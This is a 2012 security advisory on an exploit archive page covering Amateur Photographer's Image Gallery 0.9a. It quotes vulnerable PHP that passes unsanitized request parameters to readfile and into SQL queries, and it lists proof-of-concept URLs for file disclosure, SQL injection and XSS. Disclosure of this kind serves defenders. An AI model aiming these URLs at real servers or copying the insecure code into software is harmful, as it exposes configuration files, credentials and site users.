exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Amateur Photographer's Image Gallery 0.9a XSS / SQL Injection

Amateur Photographer's Image Gallery 0.9a XSS / SQL Injection
Posted Oct 18, 2012
Authored by cr4wl3r

Amateur Photographer's Image Gallery version 0.9a suffers from cross site scripting, remote file disclosure, and remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, xss, sql injection, info disclosure
SHA-256 | 5f9f29a0eb56a1f97678a27b19ab175cb15181cbf062a2ab9a42ed9109a05cc0

Amateur Photographer's Image Gallery 0.9a XSS / SQL Injection

Change Mirror Download
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³
³ ³ Undergroundthalo Hacking Team - Security Advisory ³ ³
³ ÚÁ----------------------------------------À³Ù-----------------------------------Á¿ ³
³Ú´ Author : cr4wl3r ³ Release Date : 18-Okt-2012 ÿ³
³³³ Product : Amateur Photographer's Image ³ Size : 302.3 kB ³³³
³³³ Link : http://sourceforge.net/projects/ap-imagegallery ³³³
³ÃÁ------------------------------------------³-------------------------------------Á´³
³³ gallery-0.9a.zip ³ ³³
³ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÁÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ³
³ Details ³
³ ³
³ Amateur Photographer's Image Gallery 0.9a ³
³ ³
³ A image gallery for photographers who don't care if their photos are publicly ³
³ available on the web. Offers many advanced features such as image preloading ³
³ which enables you to switch photos without waiting for the next photo to load. ³
³ In this vulnerability, attacker can download any file from server. ³
³ for example, downloading a configuration file contains information username ³
³ database, another case attacker can inject database with SQL Injection ³
³ or XSS only from URL ³
³------------------------------------------------------------------------------------³
RFD Code in force-download.php

<?php
$filename = $_GET['file'];

// required for IE, otherwise Content-disposition is ignored
if(ini_get('zlib.output_compression'))
ini_set('zlib.output_compression', 'Off');

// addition by Jorg Weske
$file_extension = strtolower(substr(strrchr($filename,"."),1));

if( $filename == "" )
{
echo "<html><title>eLouai's Download Script</title><body>ERROR: download file NOT SPECIFIED. USE force-download.php?file=filepath</body></html>";
exit;
} elseif ( ! file_exists( $filename ) )
{
echo "<html><title>eLouai's Download Script</title><body>ERROR: File not found. USE force-download.php?file=filepath</body></html>";
exit;
};
switch( $file_extension )
{
case "pdf": $ctype="application/pdf"; break;
case "exe": $ctype="application/octet-stream"; break;
case "zip": $ctype="application/zip"; break;
case "doc": $ctype="application/msword"; break;
case "xls": $ctype="application/vnd.ms-excel"; break;
case "ppt": $ctype="application/vnd.ms-powerpoint"; break;
case "gif": $ctype="image/gif"; break;
case "png": $ctype="image/png"; break;
case "jpeg":
case "jpg": $ctype="image/jpg"; break;
default: $ctype="application/force-download";
}
header("Pragma: public"); // required
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Cache-Control: private",false); // required for certain browsers
header("Content-Type: $ctype");
// change, added quotes to allow spaces in filenames, by Rajkumar Singh
header("Content-Disposition: attachment; filename=\"".basename($filename)."\";" );
header("Content-Transfer-Encoding: binary");
header("Content-Length: ".filesize($filename));
readfile("$filename"); <------- BOOOOOOM
exit();
?>

SQLi Code plist.php

<?php
include 'database.php';
$index = 1;
$albumid = $_GET['albumid'];

$folder = select_row("SELECT folder FROM albums where id = $albumid");
$folder = $folder['folder'];

$retid = select("SELECT * FROM photos where albumid = $albumid ORDER BY date, large");
while ($row = mysql_fetch_array($retid))
{
if ($index == 1) { echo "<tr>\n"; } // begin row
$small = $row["small"];
$id = $row["id"];
echo "<td width='200px' height='200px' align='center' valign='middle'><a href='photo.php?id=$id&albumid=$albumid'><img src='albums/$folder/$small' border='0' /></a></td>"; // display cell
if ($index == 3) { echo "\n</tr>"; $index = 1; } // end row
else { $index = $index + 1; } // increment count
}
?>

SQLi Code fullscreen.php

<?php
require 'database.php';

// initialize variables
$current_photo_id = $_GET['id'];
$album_id = $_GET['albumid'];
$js_psuedo_index = 0;
$number_of_photos = -1;
echo "var img = [];\n";

// find the folder where the photos are located and the album name
$row = select_row("SELECT * FROM albums where id = $album_id");

$folder = $row['folder'];
$album_name = $row['name'];


³------------------------------------------------------------------------------------³
³ Proof of Concept : ³
³ ³
³ http://b0x/path_gallery/force-download.php?file=[RFD] ³
³ http://b0x/path_gallery/force-download.php?file=constants.php ³
³ http://b0x/path_gallery/plist.php?albumid=[SQLi] ³
³ http://b0x/path_gallery/plist.php?albumid=[XSS] ³
³ http://b0x/path_gallery/fullscreen.php?albumid=[SQLi] ³
³ ³
³ ³
³ ³
³ Undergroundthalo Hacking Team ³
³ Site: http://0xuht.org ³
³ Twitter: @hackb0x ³
³ ³
³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³
³ ³ Happy Birhtday Saskia Adam :) ³ ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    0 Files
  • 21
    Mar 21st
    0 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close